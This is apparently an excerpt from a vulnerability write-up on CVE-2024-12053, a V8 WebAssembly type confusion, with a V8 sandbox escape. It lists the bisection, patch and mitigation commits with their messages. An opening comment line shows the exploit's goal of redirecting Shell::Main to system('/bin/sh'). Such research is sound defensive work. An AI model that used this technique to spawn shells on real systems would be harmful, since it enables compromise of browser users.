// Shell::Main() returns => system("/bin/sh")
Bisection
CVE-2024-12053

[wasm] Store canonicalized signature pointers on imports (Oct 4, 2024)

And use them in the generic wasm-to-js wrapper instead of the on-heap serialized signature, which can be manipulated.

Overall we now use canonicalized signatures a lot more. This often allows to drop a {WasmModule*} which was only used to make sense of module-specific types and signatures.

We now need to translate between canonical type IDs and canonical signatures in several places. I left a few TODOs to clean this up in follow-up CLs.

V8 Sandbox Escape

[wasm-gc] Ship it! (Sep 13, 2023)

This patch enables typed-function-references and GC by default. It also enables enforcement of WasmGC “final types”. It also disables support for deprecated prototype instructions.

This technique was introduced in the above commit, which enabled the --experimental-wasm-gc flag by default.

Patch
CVE-2024-12053

[wasm] Remove relative type indexes from canonical types

Those relative types were leaking from the type canonicalizer, which leads to type confusion in callers.

This CL fully removes the concept of relative type indexes (and thus removes the CanonicalRelativeField bit from the bitfield in ValueTypeBase). During canonicalization we pass the start and end of the recursion group into hashing and equality checking, and use this to compute relative indexes within the recursion group on demand. The stored version will always have absolute indexes though.

As the relative indexing mechanism was fundamentally flawed due to the implementation of ValueTypeBase::ref_index(), the above commit fully removes the concept of the relative index.

V8 Sandbox Escape

[wasm][sandbox] Verify signatures in js-to-wasm wrappers (Jun 11, 2024)

This ports the recently introduced signature verification from call_ref to compiled (i.e. non-generic) js-to-wasm wrappers, to prevent escaping from a corrupted sandbox by calling broken Wasm functions from JS.

This technique was mitigated by a signature verification mechanism implemented in the commit above, only under the --turboshaft-wasm flag. The patch became effective in the following commit, which enabled the --turboshaft-wasm flag by default.

[wasm] Enable –turboshaft-wasm by default (Oct 24, 2024)

This also enables –turboshaft-wasm-instruction-selection-staged via a weak implication.

References

?

Get in touch

Skip to content